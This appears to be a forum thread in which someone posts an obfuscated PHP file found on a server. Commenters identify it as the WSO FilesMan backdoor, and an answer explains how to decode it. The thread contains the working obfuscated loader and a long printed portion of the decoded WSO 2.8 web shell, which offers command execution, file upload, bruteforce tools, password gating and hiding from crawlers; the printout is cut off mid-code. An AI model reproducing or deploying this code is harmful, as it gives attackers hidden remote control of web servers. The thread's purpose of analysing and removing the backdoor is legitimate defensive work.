HM3eMP/oxsjW3nxzz9uGjXQNkIQho9HJP0wYEHHGXlEg5kemKOE9RrSjvetwkpbjFNVqHXqfNh0Ze4JOUq5w+76pqvY1m+eyW7eYidIGsPyCHQtZ9VcQRYNI3uzdX+OP1QntjFPI6QMbBdbSGr0PnPbavaQx/oPxA3itWzenbsSn5mSrTgLjdcn4kfJQEDW4whBE2eN86ciuaBlDW7fgiRdXcLFlpUxl8A1fg1sV8BFfFnPMifXRkrLQyfZf+mslVmpbaxb5qkrGh+ZskPqip+Ms7Cx9WaTMtYf2hVXkICz00aKPpqHC9trUg+52/JfqDALtTdNsQT0hEXKe+Ir8kKoregOZMsRePYbeHyMURE0Q4OmmYaai1l5SchMu2lJyZ9abL5swfwe9KH8DaiwwOubEthTylaK03PzmxY0geVcEs33aipJoIWApv3d/I5ml19fuvvUFmqRVZ4gcYPJkmJKDRKPlPkuQMoV6a/UBYYGGNb3g1Q+jytJKHR1AN1bvcpqQ5twBZ63hapDthCtIRSXSh9QsxKmmT4xbOnT9LMEnWcco5qQH3Ji0pic8C8gZKQ9ThKZdxAQmLx6fyBa2zGyPikCpFkKsxb4nWx2nnK79kRRkH7Oooylfguw1H+SqRGT1om/QH53/PT5QMd9xvn2N4BSvXKY9vjEJT5i7Q6rZwhpfBvQv3upom8Fz57s9r5KoUFxmXNO/gVKY/DWu8FAruuHvmqgAkLlzwo9BYAriYseGOgjy5wu5xmaDt1dVR+02vTyD3IQ2qNW4axp1nETtQ++uP8evjSHof8kGGbzkiAHDTS53x7yJpx/Z6G32HnOjI8xUHBHa3HRCN3AAQ9wIk51z6Cmgx2YSeyuO8nhJH1KM/JfQtktmCq/kLzjGnxgOhv1qhQY/T0u9QCUm5MgJ+zHRKQ+1ko0dx+L+WqXiutl1lsTRImooCMfxvmxDuonurB3SYhHy+H/YtPM6pKkYnp+S5t0l+ztPFCM9u8gO688jdCipGroxFF3PbToJr9IxnjtotVMr3F32u5+TGW2lqcPtCiQ2+hpM1lko9C+3NXmBWBIDhA32EsF6mpIF0N5Bkch0fbzwQOxouYbLCTdziaDJwYpEci5TyJGJyjVtiNBRDcQW6VFstdlMzBLDQbkVlko0983SIm31ujFgI75pXiHCJyqK73++AUCKPX2AFJFQNOpjLA15NHkNxEk+e/qJEqqpfN7MBZvf9e5b363vM6EC36WNcYJ6a4kwIJPCEa4G5olkrVOUZwkN/dG5XR/Z+e7KZeKghBwEFDJzRWPy5p6RYGkHrB/X4ceKKXEHqfxglkvH9mUlxjhK8Bj5V4y4Y4pm1d02QIkEjtI3J5eBTLDW2BrOobzxSYglr+I9qexQaAGxEwGlvZHBlYy4Iqx/OKk9iBW+RmoytxhOX3OePC9VaYVTlno7nO46mMNSaS9+xAxCyjswMmfTzQKDDXPRxt3ZMbDigBbeRWPMqH9pSYyyBZfZLm+b+FdcZ3eN5qFCiRfWrUx7ssb8oPKYJecpAkG1nXpldIfDbRybzHFapg8XvbXIGzOarWqZBlu8XFs+iL3cyllFpdetrQ7218Z4qIF4FQ2AhkvS+e3OIuAVbwHU/0wgEzzMIrJxqakTYFdw8lzKJaQiy2hkWSSY3Ve8gvjxQWChlAhGlkziJax+eimQHHP/4/AVcmt2heHAy7rfc4sjaqjiI8m+mC5XEFtobnATdEhvdmhHDksZhGLvFFBBwPu+BC/LTygrkaLQdEDtz5h5+qpF6co+adumFz6RFR3esAP+ehJe8zlHczwS6UvfsygW4aOrnYWvZ7VyJDNl165o4prT7AA4s5GhFeSfuB3RCwqWm8UWvDtaFW+ZOSihDogsq9bRQK64HPfalhy0lUZ2afnieesvxtDjQWUsgoIBarnXM9OzkhEQkQ29G++gQu7q5m8gjnjohjG3+kUs4C6JhMR8RIKqrOaGbYbPoW0b2EID7zpcZTSTBHI1BxoBT0yl2EvFBJ3qFKCxx0wqfPQRKulyFGABLpSQrEO6ZxyeXZtn9KN3dlOMWUN+k0YDt0rc60egg3Xdj76oEsmANYqw1uMXjU+zjEP8bQtsOgNhL48z4i+dgi+m+NhW455G0yh6yrWN/OZgzp7C20LvxLfmGZhiD99sktswMML5yTuuNGuGNrKKRAAyUoDQPbhgJStPnC+bvCazzZ5QGQa2IsdaZFhQEidNN6YpjiMAvHpvpDPlBKTe8m5nuCIz5Y+f87fp9yJrBdhT31euFwUxSHWxvAjh5MIpvdR0k7wlVbY+cXesuhjElPfGhZgAoiJQvyCkYGyW6MK1Y8yu96jEYzNP0NLW/1ZTek4JCcHs1Rs26E6EB8LBtXrHAMTv6F47otKMkcPfPRsHq5FQJB3cKqko3psDryq3s2ZJImGjB6uD3pateite8LoqmDiKnOjsIGEMqdmUlWqjCP5aihvqMhBFjAO2LPe2PBHbzuqgw4e/mAtvn+3fnaZtHbfL2Je/aMFu0hdd7iphDy12EFD+HTmOl7IBMXYHFe4qYY/o4Q8u8AxP8gE7cgrN9geJ/jKzzkPRDzlyCvabTBAmtyNyRVj9FYChaPNIIcjRiXCcIChkdUFTvI6UGNaZxGu+XrO+nipCi9B+/KGkOM+2HL/rjdXxsjJhH4BwvjRsyd3rQ89fiqc7gwbwMg2U2mPxVn4tnY+MaU6JgxVh9NXwrUhVumZcNR0QQEBMZmlx6MQC0A7dixa6PTgkGwDffCNGleqvgLhGJdDZmCw9mTrkd1aJ6ZDd77cDw+Q4obIS5+4WxVSfbpy/n04N9u5pa3d6qAb3wYgkn2aizsJufwmBFreWAjWQD2n6KQ15PoodBOvhK//F8zp7h65JdKFwj5ekmYLqb7mJexz8ndbpoWUsGjVVKDs+CnlS1qnY6jV56ttFPl+sRJQFVVprli5ZljJrKXnF99JvnBuEAktazh79r9Naay3i/1lWxAOOgMdMFnJrXyrgRZrR4sWrPy/CF2hKgFObLEdReEKfKCbn/BnFKF8OXUTkF0Dg+5JqfyMku5iriKU8cwU7VZjtwpeuu10wqLw7FH6V5U3l6teClpsM42eIVqP8xs0NeMkVshgifdnLSgC4xlyhMLaBPIHPKcgMtUYHmUti21qxWDDjel49EgZjP0+ZPSR/n7caizzH09FtO19G6Hf86rjIuwtRGx8JZHks/TJlI/XZ9dfQ3/DIVx283y8Vhn2j+Lfs+YixYDKRZTvrxGhfQ+zGejFDvLCWdyrWW4wAEGITFdHxUGZ5SJBeiFywxPrVhfs4v2yNC3JlGNrT5wNnIwiFFZUwQuAA+ITymg+D+W2H/mEombOrWmgeMxRCs1JLnTSoHP04G4iNRH2ZnQEJRvxVJn6xw/9EEDHjv2tefyOdV/jhgTeZQ27J14EXxk5fVUk94CPrehKDCN1geW8ya0tPamlmDMUu+2djVzE1CxryVFGpEcat+91xDgHp6daIZdci4JJFcNJqV5VtflVM3tJbjZsPgK5A2d+akF8vWtLOzO9fIhILBXBTpQyHGAqYTUKBqs0l+ohVnDzud5mYB2QX/Enhj9oBkyQYnXPGh/c4f7q5XFUDEOVtJp2sIP0RXc+cNz1n88yPMSiXuMcfKiDniRo53vEIs4L3hQFXq0G4cnt34GK2uGFH7OmQ9qIqz0noKSmd4MDR1z++Ykopgp+FUQA5uA4pYekKZGiiaM5Mq1NiFV60mUhDhVZJTdVRPNmAtb3ZlsWU7WLLj7cDxt8x00AUTJ9xYy5Gj6OVaF3p9WYKy7WaXR76wxzAC6opHRRzb4oCIM4vIMUuTmN9tOpLsuRn1ZT4wKz4EO/IB9T+2y50h7T8KDJh92g9ptTxPp1Usy+FSwN0BWssvUiiQqtEBB+uAGW3X9pFF06RtJGX2RXwiZbw/Yb3AtPdYv+w2+2l+aOYEBFMZ0vp3q7iB++7gZbK8k+UAffKEoinp7o+jMS9+LPJEXwkriO5VPjPz//406PemqYvtfyt3tSHN3ivERFh3oFv1Vefl6wRTQMQ2FZPWer+P874qfyoZ8KmDAZPNVG6hM6CptRVBrtNPmlHx7vM7JA5ohag8BJlh/UIxUaLpN+b6NQkg3V+tJbwdNjh1LpgBKML+KWd1+WpWKDYDuKHzGb2opMGN8xDB9hm1YCOZKtJdEU0uoav/zO+dgXvYX9VYdiNAcpCuhm7ytLcYgFekK8FLeN76J62lfXD4PCRcL3h572OUU+0dtQD07ey50kw1XbfubsQIaH2DIDQ2NSu1vfbcQ/TTPM02MvY7cES+mWq3rgaYW76ZZbfya+xVY1lQyu/ZljWSZw+syNIuc6WZjTWGZg7O+qZXqroavq8jyE4vVt0P92v2GJ6p6dAHMjOjinJghCjLtwNDXxciRzRaYJwSHdOAdItJxQjdX//uONyfqGGfz9d8RjyRdtieRtYmVegsj+Mxp0HnymC1/LGnR7M9Wix54gLf7LBg28TCFymnbUiX847RxE+nDocy6RYtFI23qE2Z4Cm4z0ofQg1+B2N31QTlPFtPiYPsnszshUCU/AN2X+R3vCZoiGA2VyI6YtEGFv/fe9SEbesfDTbWecwH+QwiuduADNkvfpp0a8MA3hCdN4EKP4xzvAnrdmjWvAcWnVxqVSjclr2N+y+KDRUMbf/ScngNSTZ3nEVWKP+PH7tO3R7MUMpFFtifFjVBm1Q1ZkTpTskvN1sOw7raCKB2azbvyOiu1f5rmRLSKVDt903hYx2Y/oIgydRHcUXxt7mTb2kQFpheDSYjw+a5hUUcXHCnnYwEUPlcDfV9p3bze//y/X+3eklQraJ2429/aOHQESelvG3LgUTlPjU6EGmOjbYY6UblFK6Os88VMnZ+qz8LBi7Jppo8RkrVbixnKaxnKb1XJRnca8IIzaOZQZlI1l+ohCd9mu9+5iNNhptY7k8yAjkQ+Cafl4Z7mNXOrV5KxUkERR2nqeb2jwjKW6Zx5B7ADWAD+6DE6erfM8Y2pjJCXW+HIlN7FHMqwDQzV+WWViiBt9F5DHM0M6fLTzWhmoiILTLA+6awj8nXs+IT4Lk5FtD3pxYN92vP/pXweVBhLYqcqgyXVaWRcLNmasAUVlyI/+ufePC3I0YXiArr1g5AN6Y7Q00C4arnwvewKOjCPGXCLofiO19gJiGQQuv/4FV7d1uFJbfSDBJDR3blo3k+6WsBZE2ksEOLQvtV3YcIkhU2p4uAscp+s+d5A+EkBYUwQjix9MhVzGgL0OF/78XUpDCztLhdz712rJ/PkBZRCeWjLhflQLA3UlCO0Z4tp4Nri+9c/qf5fqWr9LkMwCXRHVqcEqEKbyCytqO9ll3rsTUL1SEfYAKFKtvQ5oXjB9rKESms3z6V7z6X7rT7qFT7rUfVkLhsWBJYVcvJGK6xXOQqQPRR18NyWfXmRe64C9rsLUzKuFOMuICc/StJyu1FW8A3lPU0aq0JL5XZ59GOIdPubp80iaV70VMJaYJ6JzLZ8eWvnJVJiu+dWZCb3IEq2zWAxk6S1Clr7bYMTpTRBdJqAkvUxCaAulMPz6IauiKZmTGC6Xwzx4nlGkUzBOuo3ERivGEfPIF6yT59HIr/MMhmJex0j2H2YGewArwfnAiesFQvUYsGGwPtKoODBSfhIPu9Y+zhH+zSKb0nOzdmzjnkDM8CJpP25nnMk85m6QHxtR5AuTMZISwcvfblbv54l96AV2otY9ZZKS8ggzjlbmE9hwIhIDqJuRH5j0EGM84GtKomN/m+XwKKIDN7meIrno8dWqaCTDs0eYDTkHooIAI3Kav1oQiy0PaBiwsAeZwC+PE+7ymGwa3wiIZ9bbg/D1neRZHTSxXv1dWJBWXytP6Of2Pt6RfiucAjpBNrmnF2+D4uKOdkF+Y6VyIIQzD3h+0/GR8pNa3Ng2i+vFy7fHXNQtMRIJCt281OsQCNihTtJYIfKxAmr7M5hDvx/fhc43caTPYVL3SyTo7gdIgiyfgv3EGCbXtie/CqpDhdZjfrQMR1juItS6avlMdYOTA31QUBhxUbLojHPies60QzuPphqSRcWta6qBfMMLLXJpEvuBWgRkDltqZ4wz5tAfSmeKnrEm9iJsFose0Z+rnfOV+GVCaoLMglHc0Uqi2BGCap7RTOvqipwOoz8+66rcDqQtcwcgEndoAM4zq+ARc19hzTXTZBXVX9W1TlI3I2edZkGhDZ1DYG4nnvImBm3Tn25VAptR7UNvUOabyuKtiAG+DldGwoK/7u8vlY2WxVWSF2NSM6Li70GVkhTu7PFiR45ERknE0wIH4C01Z6GNrn+tAJQOPo1RZoF5Fw1gwvtRkXFYziNtfmUWG1HakT4bYHzhfI5xCi1xUaSRiuS8T33B4rJy4dCoQ5se6n+OgdHs2QYsMTIc8ruXfj9VTUkLUhBe+dQDRMsrZuDxPsO1aSXc5YPvW+Amzh5EEeAD+GM55lJThSffUPj6ehAmdre4mXFjR8hP8NGY2nKvpj/Au19lWhV5pFCRq784fuL3bqEdtHfmBU2mLTr5JMV825J2qWnCmuT2f0YoZDMNcb1rptggRHfdQ64ccESpNJXFxsdEm738Wg5F3HjJ6O2Iu2oS5MygDGVC1k2w7tfHZpte6ZvO1l6YJDbo1oIAX//NOOteBTgCfAUgELySuvYMjYC1o/GAhbWTPxZAK7c4GV93e9xLVs4kd9pLVatf93bDbnGpY3hIpUVFVrtnlgg0tH1bKYvCv/6Cz0V1WPInjGofkmIUIjtbV1Mu1dhXMZt1hnQGxeKlabPV90Uw/szGy1C7AdKBwDsHNMDsTswb+EPTjhgbv0nk0t1+AFqxBa9TOH9YbghJy/hjbSK2kQWR+j1xi16Yrm75uz9X2OHHuauBkyZ6FuV8WXUHqaNokRLm4dXwwuwzRV7aszhO/o+JBYa6SYaW51ZC9mYKDMPJnukeudQL0OmTzSKONBeVh8AiTUezW1tbQcTitXKDjpggUtdOg6ePw83qwmOuwzzEx9Fg748LaZgScPo+iZYS/mixsaIoeLa53FZ8EZigXpWdreG882tmNI89vox19n1dk8A08GA7mF+Tefh9T3ldgs8L5/aTnrIQ/uAemOPjEGxV1UMiEM7eI9xXdl//uWJEn/UytMXzGZ3eQH2uN3okrxOCKtlBAEz+RsVSWTFUtdKJmUNnSeIEYwS2csgKX6bhlFklXQOYIKtbWGHe7EMjZzYYbLAs+eD5oeu+SY3cz0g9SwLVQDy5ASyI/8vkfaximjkcczI/nZAYPwAsnHnhvziycfdW7z+0eSsIH+tgGVSr4pRcTn4sdh4QWOTgSQs4INVPJphWRxufZC2Zqhnzl9nkNKf3U8r9ojpWjbX1lFBi/hqyej7mKDozD5sP+qICVXxCs74AEDn0KpMI5jz7VWIM7tjEs+u5gKYKCOUXoYJcqq79tFno1VQYGYJ/NdyM/K+bHWbD04FKUBlrh2aqG2x0bzsr6s9THma1S24l2a/S+mMoVWe6qX68Fhdy6XFH87EaLmohAK4CLpL07rNkc/PHdCbUyBb62bqR0PJc4NciT3PY3qhphJhWwrXR5raqzasSbQGvhjxoWovXD5RqN6mcbmlnRa1tdApAG4FaNZmD0JJpHKE0pfgdvQu5ZKs+El2N5EkSfwSq+XwK+Rk6fDAJpQAm6IPx6S811h54ykwXJUcQr76woTf8kR+2dHbWSyfSLdOT7pUGAeVDB2etRiG+PTo2RMo8ZMgTzxtkHF6xXVtwEVsn38OQN7eoRdvQGoSbArT5/h42UrF6CDTCoaxwWVUQgzESbcZmrpXfocPF/6xaxIcgO7Mz3tMQShmCODlIrVkC4qJutHiefk+i0UFfMtF94VcmXnaD9rqCbmgtxsHSHyLgsTV1jm07wF4Zl1dS406UjN5XVZYMib3uSNPK4odeBbG1d90Nn2uPfFxh6x9O4OtHecOm1PtnjSBGno/X8OkDIODGXiNDeQFTOdLqSNZDWaUIDt7yTedtVgFx5TfRR+jLsYCAIxAZZvAzZ0jaxERPi5FMPBd7qPL+OwUGBoTS1h5WqjKCIlW7sD8/tLR8nlK4DgkmeBb7WeBWIKAU6QAgJRLo2586K6n7i+jrg7c4qDeg+lT5oNEBZuu+AOs24Oj+iibuUvvCMMDIzNgCP0nR1d6CPNbOCO/JOjGLPNQfG8sFxNPjmdW2JnZsVv9L/0/Rlzo5JbbcdtckC0JJgf91zv6Xk5VtmTh7gMivq32xRIelJpLoxkDQBzox813x6ANJA7bry8ankGd398FGR/xWDwDEMrpj0Q5HO7S38Ns1zSMjk2mVVDGsK4bUSgvJkiFIwIGVX0At5UqSicaOa4bEzQRPNOxdou7ytdIDWwM02FGquZBa4WBABU8m/NXADwPRBYXLwDzVQ6mFP1uDZOe8Rv+b65PzyXQuV2v0DWG2Qifna97zV4gY1JK8EKsCJeAemB0GIjmnIJFgwvTQx0zDi5PI3wOXX19flBZ3zlcfw58CrxWCDMmkb6wl8cHHIQcHyI4XyZ28ecIqqHGwI8+iDpYmR0UfTYSJKc2pAihOfsz4Y5YSwAGgELg5hvPG/3a9pocdsdSXvN+WP2FmPMaBL4Mlfd5DOwPRBh7Du8On9Arps9R398LgBwXL7JsFjeemvqef00nDqrPUrVNvF5qLboXv2G9cgXGkyBD7j0pthpNWc6wnubSOivNb03s27PabfabzM+vz1snAysJCaaLTy8Qj5DRVg36X4vTpm361InDpm+A1hc87hwTDN3BUjnNcqaHn5cNOqitVXjRXObjuZ3F3e6Ocv57qUZzoHOWDcTi8jiLPFyQlxe9mx8YI6wDiQ0OF1Q=='; /* was in my bag! Oh, what rubbish, said */ $W_oq=605142629; $N_dc=base64_decode($Sxf_zq); for($i=0; $i<strlen($N_dc); $i++){$N_dc[$i]=chr( ord($N_dc[$i])^((38200)%256));} $S_xn=@gzinflate(strrev($N_dc)); if(crc32($S_xn)==$W_oq){ $Srq_x=create_function('$a',$S_xn); $Srq_x("bn4najdacn6ycj3k5nfl0oaqdsbxbvfh2v9q9s1k8c8l9dfq3fbtfpcb7kaicbfh"); } ?> 
  • 99.99% is a virus, most likely it clones itself in different files - DaemonHK
  • one
    sandbox.onlinephpfunctions.com/code/… This is your WSO FilesMan Backdoor - Visman
  • In the script itself it is written how to decrypt it ... - Vladimir Martyanov
  • It went, remove it and find out how it got there (how it was flooded) - RTK

1 answer 1

Apparently this code picks up passwords.

I don’t understand why the author of this code needed to compress the code into the $Sxf_zq variable

It is also not clear why he initially turned the encoded string backwards in front of

The answer to this question is the following - a function is created called $Srq_x The variable $ a is passed to this function, its value is "bn4najdacn6ycj3k5nfl0oaqdsbxbvfh2v9q9s1k8c8l9dfq3fbtfccb7kaicbfh"

but the decoded code of this function

I ask experts to pay attention to this code - the school is old - since 2000

All code does not fit about 1500 lines of code

To view the entire code, modify the example as follows.

 for($i=0; $i<strlen($N_dc); $i++){$N_dc[$i]=chr( ord($N_dc[$i])^((38200)%256));} echo htmlspecialchars( gzinflate(strrev($N_dc)) ); 

Function code:

 /* >> fix >> */ $GLOBALS['auth_pass']=''; for($i=0;$i<strlen($a);$i+=2) $GLOBALS['auth_pass'].=$a[$i]; global $color; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $GLOBALS['default_charset'] = 'Windows-1251'; global $sort; $sort=''; if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('WSO_VERSION', '2.8'); if(get_magic_quotes_gpc()) { function WSOstripslashes($array) { return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); } $_POST = WSOstripslashes($_POST); $_COOKIE = WSOstripslashes($_COOKIE); } function wsoLogin() { die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); } function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } if(!empty($GLOBALS['auth_pass'])) { if(isset($_POST['pass']) && (md5($_POST['pass']) == $GLOBALS['auth_pass'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $GLOBALS['auth_pass']); if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $GLOBALS['auth_pass'])) wsoLogin(); } if(strtolower(substr(PHP_OS,0,3)) == "win") $GLOBALS['os'] = 'win'; else $GLOBALS['os'] = 'nix'; $GLOBALS['safe_mode'] = @ini_get('safe_mode'); if(!$GLOBALS['safe_mode']) error_reporting(0); $GLOBALS['disable_functions'] = @ini_get('disable_functions'); $GLOBALS['home_cwd'] = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $GLOBALS['cwd'] = @getcwd(); if($GLOBALS['os'] == 'win') { $GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']); $GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']); } if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/') $GLOBALS['cwd'] .= '/'; if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; if($GLOBALS['os'] == 'win') $GLOBALS['aliases'] = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" ); else $GLOBALS['aliases'] = array( "List dir" => "ls -lha" ); function wsoHeader() { if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset']; global $color; echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title> <style> body{background-color:#444;color:#e1e1e1;} body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } table.info{ color:#fff;background-color:#222; } span,h1,a{ color: $color !important; } span{ font-weight: bolder; } h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } div.content{ padding: 5px;margin-left:5px;background-color:#333; } a{ text-decoration:none; } a:hover{ text-decoration:underline; } .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea{ width:100%;height:300px; } input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } form{ margin:0px; } #toolsTbl{ text-align:center; } .toolsInp{ width: 300px } .main th{text-align:left;background-color:#5e5e5e;} .main tr:hover{background-color:#5e5e5e} .l1{background-color:#444} .l2{background-color:#333} pre{font-family:Courier,Monospace;} </style> <script> var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; var a_ = '" . htmlspecialchars(@$_POST['a']) ."' var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars(@$_POST['p1'],ENT_QUOTES)) ."'; var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars(@$_POST['p2'],ENT_QUOTES)) ."'; var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars(@$_POST['p3'],ENT_QUOTES)) ."'; var d = document; function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = 'ajax=true'; for(i=0;i<d.mf.elements.length;i++) params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); } function sr(url, params) { if (window.XMLHttpRequest) req = new XMLHttpRequest(); else if (window.ActiveXObject) req = new ActiveXObject('Microsoft.XMLHTTP'); if (req) { req.onreadystatechange = processReqChange; req.open('POST', url, true); req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); req.send(params); } } function processReqChange() { if( (req.readyState == 4) ) if(req.status == 200) { var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); var arr=reg.exec(req.responseText); eval(arr[2].substr(0, arr[1])); } else alert('Request error!'); } </script> <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> <form method=post name=mf style='display:none;'> <input type=hidden name=a> <input type=hidden name=c> <input type=hidden name=p1> <input type=hidden name=p2> <input type=hidden name=p3> <input type=hidden name=charset> </form>"; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $explink = '/'; if(strpos('Linux', $kernel) !== false) $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); else $explink .= urlencode($kernel . ' ' . substr($release,0,3)); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0; $i<$n-1; $i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for($j=0; $j<=$i; $j++) $cwd_links .= $path[$j].'/'; $cwd_links .= "\")'>".$path[$i]."/</a>"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach($charsets as $item) $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); if(!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout'; $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k => $v) $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; $drives = ""; if($GLOBALS['os'] == 'win') { foreach(range('c','z') as $drive) if(is_dir($drive.':\\')) $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; } echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Ymd H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; echo " </div> <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> <tr> <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> <td><form method='post' ENCTYPE='multipart/form-data'> <input type=hidden name=a value='FilesMAn'> <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> <input type=hidden name=p1 value='uploadFile'> <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> </tr></table></div></body></html>"; } if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 